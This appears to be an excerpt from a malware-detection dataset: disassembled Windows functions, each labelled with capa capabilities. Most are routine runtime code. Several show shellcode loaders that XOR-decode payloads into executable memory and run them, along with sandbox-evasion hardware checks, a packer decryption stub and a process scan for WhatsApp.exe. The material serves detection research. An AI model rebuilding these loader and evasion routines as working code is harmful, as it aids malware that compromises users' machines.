joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002370
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000239d
xor eax, eax
jmp 0x140002509
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400023d7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400023d7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002509
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400024fc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000241a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002445
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002501
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400024b4
sub eax, 1
je 0x1400024b4
cmp eax, 2
jne 0x1400024fc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002501
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400024e2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400024fc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002501
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003050
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140002950
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140002a23
cmp byte [rcx + 0x71], 0
je 0x140002a23
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140002a1f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400029e4
sub eax, 1
je 0x1400029e8
cmp eax, 2
jne 0x140002a1f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003050
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140002a16
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140002a1f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400029cc
xor al, al
jmp 0x1400029cc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003050
add rsp, 0x60
pop rbx
ret

Function at 0x1400039d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003a1a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003a1a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003a1a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003a1a
cmp dword [rcx + 0x84], 0xe
jbe 0x140003a1a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003a1c
xor al, al
add rsp, 0x28
ret
Function at 0x1400010d0
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
sub rsp, 0xf8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 2
jae 0x14000110a
xor al, al
jmp 0x140001235
mov dword [rsp + 0xa0], 0x40
lea rcx, [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor edx, edx
mov rax, qword [rsp + 0xa8]
mov ecx, 0x400
div rcx
xor edx, edx
mov ecx, 0x400
div rcx
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x800
jae 0x140001154
xor al, al
jmp 0x140001235
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
xor edx, edx
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x18
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rsp + 0x94]
mov rcx, qword [rsp + 0x88]
imul rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x98]
imul rax, rcx
mov ecx, dword [rsp + 0x9c]
imul rax, rcx
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0x64
jae 0x140001233
xor al, al
jmp 0x140001235
mov al, 1
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400037c0
add rsp, 0xf8
ret

Function at 0x140001260
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
push rdi
sub rsp, 0x268
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rax, [rsp + 0x50]
lea rcx, [0x140010320]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1fb
rep movsb byte [rdi], byte [rsi]
call fcn.1400010d0
movzx eax, al
test eax, eax
jne 0x1400012a6
jmp 0x140001353
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1fb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
mov r8d, 0x1fb
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call fcn.1400029c0
mov dword [rsp + 0x30], 0
jmp 0x1400012ed
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
movsxd rax, dword [rsp + 0x30]
cmp rax, 0x1fb
jae 0x14000131a
movsxd rax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
movsx eax, byte [rcx + rax]
xor eax, 0x35
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov byte [rdx + rcx], al
jmp 0x1400012e3
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x40], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400037c0
add rsp, 0x268
pop rdi
pop rsi
ret
Function at 0x1400041bc
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140004024
Function at 0x140002770
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a9f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002790
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002798
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002790
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400027ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400027e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002790
add rax, 0x28
cmp rax, r9
jne 0x1400027d0
xor eax, eax
ret

Function at 0x1400027f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a9f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000280f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002818
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000280f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400028b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a9f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400028cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400028d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute command
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp ecx, 2
jne 0x1400011d7
mov rax, qword [rdx + 8]
lea r8, [rsp + 0x20]
sub r8, rax
mov dword [rsp + 0x20], 0x383939
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400010b5
inc rax
test ecx, ecx
jne 0x1400010a2
xor ebx, ebx
test edx, edx
jne 0x1400011c0
mov eax, dword [str.c1.bin]
lea r8, [0x1400032ac]
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x30]
movzx eax, word [0x1400032a8]
lea rcx, [rsp + 0x28]
mov word [rsp + 0x34], ax
movzx eax, byte [0x1400032aa]
mov qword [rsp + 0x50], rsi
mov byte [rsp + 0x36], al
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x28], rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
mov rcx, qword [rsp + 0x28]
xor edx, edx
mov r8d, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, qword [rsp + 0x28]
xor r8d, r8d
xor edx, edx
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, qword [rsp + 0x28]
mov r8, rbx
mov rcx, rax
mov edx, 1
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov ecx, 0x58
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
test ebx, ebx
jle 0x1400011b1
mov rbx, rsi
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
lea rbx, [rbx + 1]
mov eax, 0x38e38e39
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*8]
sub r8d, ecx
inc r8d
xor byte [rbx - 1], r8b
sub rdi, 1
jne 0x140001180
call rsi
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
jmp 0x1400011f5
mov edx, ebx
lea rcx, [0x1400032a0]
call fcn.140001010
inc ebx
cmp ebx, 0x58
jl 0x1400011c0
jmp 0x1400011f5
xor ebx, ebx
nop dword [rax]
mov edx, ebx
lea rcx, [0x1400032a0]
call fcn.140001010
inc ebx
cmp ebx, 0x64
jl 0x1400011e0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001230
add rsp, 0x40
pop rbx
ret

Function at 0x140001af0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b3a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b3a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b3a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b3a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b3a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b3c
xor al, al
add rsp, 0x28
ret
Function at 0x140f65a00
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f65a0a
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f65a33
pop rbp
sub rbp, 0x33
sub rbp, 0xf65a00
sub rsp, 0x20
jmp 0x140f65a52
mov rax, 0xf65a00
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x7853a9b1
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f65a71
invalid
jmp 0x140f65a88
stc
cmp byte [rax + 0x3a], bl
cmp byte [rbp - 0x64e4e4f], cl
xor byte [rax - 0x47], dh
mov al, 0xb1
mov cl, 0xf9
mov al, 0x58
stc
jbe 0x140f65b0f
mov ecx, 0xf9b1b1b1
jbe 0x140f65b18
cdq
mov cl, 0xb1
mov cl, 0xf9
push rbx
stc
mov al, 0x70
cmp dh, byte [rax]
mov ebp, 0xf9b1b1b1
mov al, 0x59
loope 0x140f65a9b
stc
or dword [0xf2a7f34c], edi
mov cl, 0xb1
mov cl, 0xf9
or al, al
scasb al, byte [rdi]
jl 0x140f65a7b
mov cl, 0xb1
mov cl, 0xb1
stc
mov al, 0x58
stc
or edx, dword [rbp + 0x5a]
invalid
mov cl, 0xb1
mov cl, 0xb1
stc
mov al, 0x58
pop rcx
mov ah, 0xb1
mov cl, 0xb1
pop rax
mov cl, 0xb1
mov cl, 0x58
cmp al, 0xb3
mov cl, 0xb1
jrcxz 0x140f65b7b
int3
mov ch, 0xb1
mov cl, 0xb1
pop rax
mov cl, 0xb1
mov cl, 0x58
add byte [rsi + 0x4e], cl
cdqe
in eax, 0x88
mov bl, 0xf9
xor byte [rax - 0x49], dh
mov cl, 0xb1
mov cl, 0xf9
xor byte [rbx - 0x4b], bl
mov cl, 0xb1
mov cl, 0xf9
xor byte [rcx - 0x4c], bl
mov cl, 0xb1
mov cl, 0x58
and cl, byte [rsi + 0x4e]
out dx, al
out dx, al
jb 0x140f65b8b
out 0xe4, al
jrcxz 0x140f65ba1
cmp byte [rsi - 7], ah
cmp byte [rdi + 0x4d], bh
add esi, dword [rcx]
cmp esi, dword [rdi - 0x4f88cf07]
mov cl, 0xb1
mov cl, 0x39
mov dh, 0xf9
xor byte [rsi - 0x50], dh
mov cl, 0xb1
mov cl, 0xf9
jbe 0x140f65c37
mov bl, 0xb1
mov cl, 0xb1
mov bl, 0x63
mov esi, 0xb1b1b634
mov cl, 0x3b
cmpsd dword [rsi], dword [rdi]
stc
ja 0x140f65b7a
invalid
cmp esp, dword [rdi - 0x5c88b107]
invalid
Function at 0x1425f2058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1425f21df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1425f2089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1425f206f
add dl, dl
jne 0x1425f2096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1425f20f6
xor eax, eax
add dl, dl
jne 0x1425f20a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1425f21ad
add dl, dl
jne 0x1425f20b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1425f20c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1425f20d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1425f20dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1425f20ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1425f207e
mov eax, 1
add dl, dl
jne 0x1425f2106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1425f2113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1425f20fb
sub eax, ebx
mov ebx, 1
jne 0x1425f214c
mov ecx, 1
add dl, dl
jne 0x1425f212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1425f213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1425f2123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1425f207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1425f2168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1425f2175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1425f215d
cmp eax, 0x7d00
jae 0x1425f219b
cmp eax, 0x500
jb 0x1425f2196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1425f207e
cmp eax, 0x7f
ja 0x1425f219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1425f207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1425f21d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1425f207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140003aa0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003aea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003aea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003aea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003aea
cmp dword [rcx + 0x84], 0xe
jbe 0x140003aea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003aec
xor al, al
add rsp, 0x28
ret
Function at 0x1400128b6
Capabilities:
Terminate process

Disassembly:
jmp 0x140030f80
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140012a0f
Capabilities:
Get geographical location

Disassembly:
jmp 0x14002bdd0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x14002be0d
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.140012fb4
add rsp, 0x58
ret
Function at 0x140012ab4
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400322d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400322f0
xor al, al
jmp 0x140032371
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140032303
xor al, al
jmp 0x140032371
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14003232d
xor al, al
jmp 0x140032371
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140032341
xor al, al
jmp 0x140032371
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140032353
xor al, al
jmp 0x140032371
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14003236f
xor al, al
jmp 0x140032371
mov al, 1
add rsp, 0x38
ret
Function at 0x140012c62
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140022480
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140045048]
xor rax, rbp
mov qword [rbp + 0x420], rax
lea rcx, [0x140050129]
call fcn.140012fd2
xor edx, edx
mov ecx, 2
call fcn.140012753
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140022509
lea rdx, str.CreateToolhelp32Snapshot__of_processes__failed
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400121d6
mov qword [rbp + 0x418], rax
lea rdx, [0x1400120af]
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor al, al
jmp 0x1400225bb
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.140012974
test eax, eax
jne 0x14002255d
lea rdx, str.Process32First_failed
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400121d6
mov qword [rbp + 0x418], rax
lea rdx, [0x1400120af]
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1400225bb
mov byte [rbp + 0x284], 0
lea rdx, str.WhatsApp.exe
lea rcx, [rbp + 0x5c]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x140022587
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x1400225bb
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.140012d98
test eax, eax
jne 0x140022564
movzx eax, byte [rbp + 0x284]
test eax, eax
jne 0x1400225b1
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1400225bb
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14003b880]
call fcn.140012ce9
mov rax, rdi
mov rcx, qword [rbp + 0x420]
xor rcx, rbp
call fcn.140012776
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret
Function at 0x140012dc0
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400230d0
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x468]
mov rax, qword [0x140045048]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x140050129]
call fcn.140012fd2
mov dword [rbp + 4], 0
lea rax, [rbp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rbp + 0x30], 0x238
xor edx, edx
mov ecx, 2
call fcn.140012753
mov qword [rbp + 0x288], rax
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 0x288]
call fcn.140012974
test eax, eax
je 0x140023183
mov eax, dword [rbp + 0x440]
cmp dword [rbp + 0x38], eax
jne 0x14002316f
mov eax, dword [rbp + 0x50]
mov dword [rbp + 4], eax
jmp 0x140023183
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 0x288]
call fcn.140012d98
test eax, eax
jne 0x14002315c
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14003afa0]
call fcn.140012ce9
mov eax, edi
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.140012776
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret